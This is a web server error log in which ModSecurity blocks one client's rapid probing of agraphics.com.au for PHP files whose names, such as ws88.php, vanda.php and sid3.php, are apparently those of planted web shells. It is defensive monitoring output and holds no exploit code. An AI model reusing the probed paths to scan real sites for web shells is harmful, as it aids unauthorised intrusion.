[Sun Mar 22 19:03:35.227185 2026] [:error] [pid 51362:tid 51402] [client 51.120.72.165:8566] [client 51.120.72.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws88.php"] [unique_id "ab_Mh8OwPm3DXzTDjUeefAAAAEI"]
[Sun Mar 22 19:03:35.756448 2026] [:error] [pid 51363:tid 51448] [client 51.120.72.165:47707] [client 51.120.72.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws88.php"] [unique_id "ab_Mh1wa9x6OCTRkhl2HWAAAAJI"]
[Sun Mar 22 19:03:36.302702 2026] [:error] [pid 51363:tid 51453] [client 51.120.72.165:8450] [client 51.120.72.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws88.php"] [unique_id "ab_MiFwa9x6OCTRkhl2HXAAAAJc"]
[Sun Mar 22 19:03:36.846997 2026] [:error] [pid 51468:tid 51479] [client 51.120.72.165:42789] [client 51.120.72.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws88.php"] [unique_id "ab_MiE2TppSvA8W5CBQ-TwAAAMM"]
[Sun Mar 22 19:03:37.505526 2026] [:error] [pid 51468:tid 51487] [client 51.120.72.165:55556] [client 51.120.72.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws86.php"] [unique_id "ab_MiU2TppSvA8W5CBQ-UQAAAMs"]
[Sun Mar 22 19:03:38.032863 2026] [:error] [pid 51363:tid 51447] [client 51.120.72.165:61830] [client 51.120.72.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws86.php"] [unique_id "ab_Milwa9x6OCTRkhl2HXwAAAJE"]
[Sun Mar 22 19:03:38.586732 2026] [:error] [pid 51362:tid 51414] [client 51.120.72.165:55668] [client 51.120.72.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws86.php"] [unique_id "ab_MisOwPm3DXzTDjUeeiQAAAE0"]
[Sun Mar 22 19:03:39.274756 2026] [:error] [pid 51468:tid 51488] [client 51.120.72.165:31116] [client 51.120.72.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws86.php"] [unique_id "ab_Mi02TppSvA8W5CBQ-WgAAAMw"]
[Sun Mar 22 19:03:39.812960 2026] [:error] [pid 51363:tid 51454] [client 51.120.72.165:49932] [client 51.120.72.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/h2.php"] [unique_id "ab_Mi1wa9x6OCTRkhl2HYQAAAJg"]
[Sun Mar 22 19:03:40.358453 2026] [:error] [pid 51468:tid 51491] [client 51.120.72.165:8467] [client 51.120.72.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/h2.php"] [unique_id "ab_MjE2TppSvA8W5CBQ-WwAAAM8"]
[Sun Mar 22 19:03:40.911749 2026] [:error] [pid 30166:tid 30186] [client 51.120.72.165:41097] [client 51.120.72.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/h2.php"] [unique_id "ab_MjLm4_26jKMD0zy3N7wAAAUs"]
[Sun Mar 22 19:03:41.527061 2026] [:error] [pid 30166:tid 30189] [client 51.120.72.165:57475] [client 51.120.72.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/h2.php"] [unique_id "ab_Mjbm4_26jKMD0zy3N8AAAAU4"]
[Sun Mar 22 19:03:42.293977 2026] [:error] [pid 51363:tid 51438] [client 51.120.72.165:42761] [client 51.120.72.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/vanda.php"] [unique_id "ab_Mjlwa9x6OCTRkhl2HawAAAIk"]
[Sun Mar 22 19:03:42.905963 2026] [:error] [pid 51363:tid 51433] [client 51.120.72.165:55621] [client 51.120.72.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/vanda.php"] [unique_id "ab_Mjlwa9x6OCTRkhl2HcAAAAIU"]
[Sun Mar 22 19:03:43.532559 2026] [:error] [pid 51362:tid 51407] [client 51.120.72.165:41106] [client 51.120.72.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/vanda.php"] [unique_id "ab_Mj8OwPm3DXzTDjUeelwAAAEY"]
[Sun Mar 22 19:03:44.136150 2026] [:error] [pid 51363:tid 51438] [client 51.120.72.165:48342] [client 51.120.72.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/vanda.php"] [unique_id "ab_MkFwa9x6OCTRkhl2HeAAAAIk"]
[Sun Mar 22 19:03:44.673733 2026] [:error] [pid 51363:tid 51454] [client 51.120.72.165:64532] [client 51.120.72.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/domains.php"] [unique_id "ab_MkFwa9x6OCTRkhl2HewAAAJg"]
[Sun Mar 22 19:03:45.739424 2026] [:error] [pid 51362:tid 51401] [client 51.120.72.165:41147] [client 51.120.72.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/domains.php"] [unique_id "ab_MkcOwPm3DXzTDjUeeoAAAAEE"]
[Sun Mar 22 19:03:46.266027 2026] [:error] [pid 51363:tid 51428] [client 51.120.72.165:48329] [client 51.120.72.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/domains.php"] [unique_id "ab_Mklwa9x6OCTRkhl2HfwAAAIA"]
[Sun Mar 22 19:03:47.253337 2026] [:error] [pid 40039:tid 40063] [client 51.120.72.165:37464] [client 51.120.72.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/domains.php"] [unique_id "ab_Mkx3aDgUJfBYishmjNQAAARY"]
[Sun Mar 22 19:03:47.930848 2026] [:error] [pid 51362:tid 51414] [client 51.120.72.165:51194] [client 51.120.72.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/asd.php"] [unique_id "ab_Mk8OwPm3DXzTDjUeeqgAAAE0"]
[Sun Mar 22 19:03:48.601429 2026] [:error] [pid 30166:tid 30191] [client 51.120.72.165:48948] [client 51.120.72.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/asd.php"] [unique_id "ab_MlLm4_26jKMD0zy3N-wAAAVA"]
[Sun Mar 22 19:03:49.147191 2026] [:error] [pid 40039:tid 40054] [client 51.120.72.165:39935] [client 51.120.72.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/asd.php"] [unique_id "ab_MlR3aDgUJfBYishmjQAAAAQ0"]
[Sun Mar 22 19:03:49.701517 2026] [:error] [pid 51361:tid 51395] [client 51.120.72.165:39891] [client 51.120.72.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/asd.php"] [unique_id "ab_MlRXYUsdvKC9YWpXTagAAABY"]
[Sun Mar 22 19:03:50.264039 2026] [:error] [pid 51363:tid 51442] [client 51.120.72.165:56539] [client 51.120.72.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/zc-104.php"] [unique_id "ab_Mllwa9x6OCTRkhl2HgwAAAI0"]
[Sun Mar 22 19:03:50.854200 2026] [:error] [pid 51362:tid 51407] [client 51.120.72.165:39899] [client 51.120.72.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/zc-104.php"] [unique_id "ab_MlsOwPm3DXzTDjUeergAAAEY"]
[Sun Mar 22 19:03:51.496113 2026] [:error] [pid 30166:tid 30185] [client 51.120.72.165:36393] [client 51.120.72.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/zc-104.php"] [unique_id "ab_Ml7m4_26jKMD0zy3OBgAAAUo"]
[Sun Mar 22 19:03:52.222107 2026] [:error] [pid 51363:tid 51450] [client 51.120.72.165:32316] [client 51.120.72.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/zc-104.php"] [unique_id "ab_MmFwa9x6OCTRkhl2HiQAAAJQ"]
[Sun Mar 22 19:03:52.892404 2026] [:error] [pid 51363:tid 51436] [client 51.120.72.165:53226] [client 51.120.72.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/rzki.php"] [unique_id "ab_MmFwa9x6OCTRkhl2HkQAAAIc"]
[Sun Mar 22 19:03:53.714944 2026] [:error] [pid 51363:tid 51446] [client 51.120.72.165:45968] [client 51.120.72.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/rzki.php"] [unique_id "ab_MmVwa9x6OCTRkhl2HlQAAAJA"]
[Sun Mar 22 19:03:54.730452 2026] [:error] [pid 51363:tid 51439] [client 51.120.72.165:8829] [client 51.120.72.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/rzki.php"] [unique_id "ab_Mmlwa9x6OCTRkhl2HmwAAAIo"]
[Sun Mar 22 19:03:55.692755 2026] [:error] [pid 40039:tid 40048] [client 51.120.72.165:36368] [client 51.120.72.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/rzki.php"] [unique_id "ab_Mmx3aDgUJfBYishmjSQAAAQc"]
[Sun Mar 22 19:03:56.548407 2026] [:error] [pid 40039:tid 40054] [client 51.120.72.165:36381] [client 51.120.72.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xsas.php"] [unique_id "ab_MnB3aDgUJfBYishmjTQAAAQ0"]
[Sun Mar 22 19:03:57.226699 2026] [:error] [pid 51362:tid 51421] [client 51.120.72.165:8868] [client 51.120.72.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xsas.php"] [unique_id "ab_MncOwPm3DXzTDjUeevQAAAFQ"]
[Sun Mar 22 19:03:58.071505 2026] [:error] [pid 51361:tid 51377] [client 51.120.72.165:8888] [client 51.120.72.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xsas.php"] [unique_id "ab_MnhXYUsdvKC9YWpXTcgAAAAY"]
[Sun Mar 22 19:03:58.879874 2026] [:error] [pid 51468:tid 51495] [client 51.120.72.165:8865] [client 51.120.72.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xsas.php"] [unique_id "ab_Mnk2TppSvA8W5CBQ-agAAANM"]
[Sun Mar 22 19:03:59.822700 2026] [:error] [pid 51468:tid 51499] [client 51.120.72.165:39900] [client 51.120.72.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/d12.php"] [unique_id "ab_Mn02TppSvA8W5CBQ-bQAAANc"]
[Sun Mar 22 19:04:00.654707 2026] [:error] [pid 51362:tid 51416] [client 51.120.72.165:39907] [client 51.120.72.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/d12.php"] [unique_id "ab_MoMOwPm3DXzTDjUeexwAAAE8"]
[Sun Mar 22 19:04:01.315535 2026] [proxy_fcgi:error] [pid 51361:tid 51374] [client 51.120.72.165:48926] AH01071: Got error 'Primary script unknown'
[Sun Mar 22 19:04:01.602062 2026] [proxy_fcgi:error] [pid 51361:tid 51375] [client 51.120.72.165:48926] AH01071: Got error 'Primary script unknown'
[Sun Mar 22 19:04:01.865263 2026] [proxy_fcgi:error] [pid 51361:tid 51387] [client 51.120.72.165:48926] AH01071: Got error 'Primary script unknown'
[Sun Mar 22 19:04:02.132530 2026] [proxy_fcgi:error] [pid 51361:tid 51382] [client 51.120.72.165:48926] AH01071: Got error 'Primary script unknown'
[Sun Mar 22 19:04:02.394139 2026] [proxy_fcgi:error] [pid 51361:tid 51380] [client 51.120.72.165:48926] AH01071: Got error 'Primary script unknown'
[Sun Mar 22 19:04:02.660565 2026] [proxy_fcgi:error] [pid 51361:tid 51378] [client 51.120.72.165:48926] AH01071: Got error 'Primary script unknown'
[Sun Mar 22 19:04:02.926903 2026] [proxy_fcgi:error] [pid 51361:tid 51390] [client 51.120.72.165:48926] AH01071: Got error 'Primary script unknown'
[Sun Mar 22 19:04:03.308291 2026] [proxy_fcgi:error] [pid 51361:tid 51377] [client 51.120.72.165:48926] AH01071: Got error 'Primary script unknown'
[Sun Mar 22 19:04:03.571162 2026] [proxy_fcgi:error] [pid 51361:tid 51376] [client 51.120.72.165:48926] AH01071: Got error 'Primary script unknown'
[Sun Mar 22 19:04:03.835328 2026] [proxy_fcgi:error] [pid 51361:tid 51391] [client 51.120.72.165:48926] AH01071: Got error 'Primary script unknown'
[Sun Mar 22 19:04:04.164677 2026] [proxy_fcgi:error] [pid 51361:tid 51395] [client 51.120.72.165:48926] AH01071: Got error 'Primary script unknown'
[Sun Mar 22 19:04:04.514421 2026] [:error] [pid 51361:tid 51372] [client 51.120.72.165:48926] [client 51.120.72.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/a5e0a.php"] [unique_id "ab_MpBXYUsdvKC9YWpXTigAAAAE"]
[Sun Mar 22 19:04:05.147349 2026] [:error] [pid 51363:tid 51438] [client 51.120.72.165:33337] [client 51.120.72.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/a5e0a.php"] [unique_id "ab_MpVwa9x6OCTRkhl2H4wAAAIk"]
[Sun Mar 22 19:04:05.730085 2026] [:error] [pid 30166:tid 30196] [client 51.120.72.165:31653] [client 51.120.72.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/a5e0a.php"] [unique_id "ab_Mpbm4_26jKMD0zy3OFwAAAVM"]
[Sun Mar 22 19:04:06.621787 2026] [:error] [pid 51468:tid 51485] [client 51.120.72.165:31618] [client 51.120.72.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/a5e0a.php"] [unique_id "ab_Mpk2TppSvA8W5CBQ-fQAAAMk"]
[Sun Mar 22 19:04:07.436348 2026] [:error] [pid 51362:tid 51412] [client 51.120.72.165:8842] [client 51.120.72.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bo.php"] [unique_id "ab_Mp8OwPm3DXzTDjUeezwAAAEs"]
[Sun Mar 22 19:04:08.117431 2026] [:error] [pid 51468:tid 51480] [client 51.120.72.165:58110] [client 51.120.72.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bo.php"] [unique_id "ab_MqE2TppSvA8W5CBQ-gwAAAMQ"]
[Sun Mar 22 19:04:09.076377 2026] [:error] [pid 51362:tid 51419] [client 51.120.72.165:32792] [client 51.120.72.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bo.php"] [unique_id "ab_MqcOwPm3DXzTDjUee1QAAAFI"]
[Sun Mar 22 19:04:09.619010 2026] [:error] [pid 51362:tid 51404] [client 51.120.72.165:43836] [client 51.120.72.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bo.php"] [unique_id "ab_MqcOwPm3DXzTDjUee2gAAAEM"]
[Sun Mar 22 19:04:10.290267 2026] [:error] [pid 30166:tid 30184] [client 51.120.72.165:30664] [client 51.120.72.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/56c53.php"] [unique_id "ab_Mqrm4_26jKMD0zy3OHAAAAUk"]
[Sun Mar 22 19:04:11.010667 2026] [:error] [pid 51362:tid 51412] [client 51.120.72.165:42445] [client 51.120.72.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/56c53.php"] [unique_id "ab_Mq8OwPm3DXzTDjUee3QAAAEs"]
[Sun Mar 22 19:04:11.725169 2026] [:error] [pid 51363:tid 51448] [client 51.120.72.165:35894] [client 51.120.72.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/56c53.php"] [unique_id "ab_Mq1wa9x6OCTRkhl2H9wAAAJI"]
[Sun Mar 22 19:04:12.563650 2026] [:error] [pid 30166:tid 30201] [client 51.120.72.165:30643] [client 51.120.72.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/56c53.php"] [unique_id "ab_MrLm4_26jKMD0zy3OIQAAAVg"]
[Sun Mar 22 19:04:13.104904 2026] [:error] [pid 51362:tid 51410] [client 51.120.72.165:8861] [client 51.120.72.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sid3.php"] [unique_id "ab_MrcOwPm3DXzTDjUee5AAAAEk"]
[Sun Mar 22 19:04:13.889342 2026] [:error] [pid 30166:tid 30177] [client 51.120.72.165:8836] [client 51.120.72.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sid3.php"] [unique_id "ab_Mrbm4_26jKMD0zy3OIgAAAUY"]
[Sun Mar 22 19:04:14.513109 2026] [:error] [pid 51362:tid 51420] [client 51.120.72.165:31627] [client 51.120.72.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sid3.php"] [unique_id "ab_MrsOwPm3DXzTDjUee6gAAAFM"]
